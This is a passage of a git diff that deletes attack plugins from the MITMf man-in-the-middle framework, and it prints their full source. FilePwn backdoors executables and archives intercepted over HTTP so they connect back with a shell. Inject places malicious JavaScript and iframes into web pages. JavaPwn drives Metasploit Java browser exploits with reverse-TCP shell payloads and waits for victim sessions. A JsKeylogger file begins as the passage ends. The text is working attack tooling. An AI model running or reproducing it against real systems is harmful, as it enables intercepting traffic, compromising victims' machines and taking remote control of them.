zipfile -import logging -import shutil -import random -import string -import tarfile -import multiprocessing - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger('mitmf') - -class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] - version = "0.2" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - self.userConfig = options.configfile['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder %s", str(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes)) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on %s', info.name) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("%s in tar patched, adding to tarfile", info.name) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile)) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on %s', info.filename) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def handleResponse(self, request, data): - - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("%s Detected supported zip file type!" % client_ip) - - process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("%s Detected supported tar file type!" % client_ip) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("%s Detected supported binary type!" % client_ip) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip) - return {'request': request, 'data': bd_binary} - - else: - mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py deleted file mode 100644 index 6f9df18..0000000 --- a/plugins/Inject.py +++ /dev/null @@ -1,180 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr -import time -import re -import sys -import argparse -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - -mitmf_logger = logging.getLogger('mitmf') - -class Inject(CacheKill, Plugin): - name = "Inject" - optname = "inject" - implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Inject arbitrary content into HTML content" - version = "0.2" - depends = ["CacheKill"] - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.proxyip = options.ip_address - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.black_ips = options.black_ips - self.white_ips = options.white_ips - self.match_str = options.match_str - self.html_payload = options.html_payload - - if self.white_ips: - temp = [] - for ip in self.white_ips.split(','): - temp.append(ip) - self.white_ips = temp - - if self.black_ips: - temp = [] - for ip in self.black_ips.split(','): - temp.append(ip) - self.black_ips = temp - - if self.options.preserve_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - if options.html_file is not None: - self.html_payload += options.html_file.read() - - self.ctable = {} - self.dtable = {} - self.count = 0 - self.mime = "text/html" - - def handleResponse(self, request, data): - #We throttle to only inject once every two seconds per client - #If you have MSF on another host, you may need to check prior to injection - #print "http://" + request.client.getRequestHostname() + request.uri - ip, hn, mime = self._get_req_info(request) - if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - if hn not in self.proxyip: #prevents recursive injecting - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - self.count += 1 - mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn)) - return {'request': request, 'data': data} - else: - return - - def _get_payload(self): - return self._get_js() + self._get_iframe() + self.html_payload - - def add_options(self,options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") - options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") - - def _should_inject(self, ip, hn, mime): - - if self.white_ips is not None: - if ip in self.white_ips: - return True - else: - return False - - if self.black_ips is not None: - if ip in self.black_ips: - return False - else: - return True - - if self.count_limit == self.rate_limit is None and not self.per_domain: - return True - - if self.count_limit is not None and self.count > self.count_limit: - #print "1" - return False - - if self.rate_limit is not None: - if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit: - return False - - if self.per_domain: - return not ip+hn in self.dtable - - #print mime - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - return (ip, hn, mime) - - def _get_iframe(self): - if self.html_src is not None: - return '' % (self.html_src) - return '' - - def _get_js(self): - if self.js_src is not None: - return '' % (self.js_src) - return '' - - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): - ''' - To use this function, simply pass a list of tuples of the form: - - (string/regex_to_match,html_to_inject) - - NOTE: Matching will be case insensitive unless differnt flags are given - - The pre array will have the match in front of your injected code, the post - will put the match behind it. - ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] - - for i, r in enumerate(pre_regexes): - data = re.sub(r, "\g"+pre[i][1], data) - - for i, r in enumerate(post_regexes): - data = re.sub(r, post[i][1]+"\g", data) - - return data diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index f4a0bfb..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,252 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import core.msfrpc as msfrpc -import string -import random -import threading -import sys -import logging - -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - -requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message -requests_log.setLevel(logging.WARNING) - -mitmf_logger = logging.getLogger('mitmf') - -class JavaPwn(BrowserProfiler, Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - depends = ["Browserprofiler"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = options.ip_address - self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - msf.login('msf', self.rpcpass) - version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v%s" % version) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) - t.setDaemon(True) - t.start() #start the main thread - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip) - self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, msf, vic_ip): - try: - mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip) - - #Create a virtual console - console_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("%s >> commands sent succesfully" % vic_ip) - except Exception, e: - mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - - def pwn(self, msf): - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) - mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit)) - else: - mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/%s\n" % exploit - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n%s" % cmd) - - self.send_command(cmd, msf, vic_ip) - - self.injectWait(msf, rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip) - mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - self.send_command(cmd, msf, vic_ip) - self.injectWait(msf, rand_url, vic_ip) - sleep(1) - - def finish(self): - '''This will be called when shutting down''' - msf = msfrpc.Msfrpc({"host": self.rpcip}) - msf.login('msf', self.rpcpass) - - jobs = msf.call('job.list') - if len(jobs) > 0: - print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.iteritems(): - msf.call('job.stop', [k]) - - consoles = msf.call('console.list')['consoles'] - if len(consoles) > 0: - print "[*] Closing all virtual consoles" - for console in consoles: - msf.call('console.destroy', [console['id']]) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 8acfe96..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,169 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT 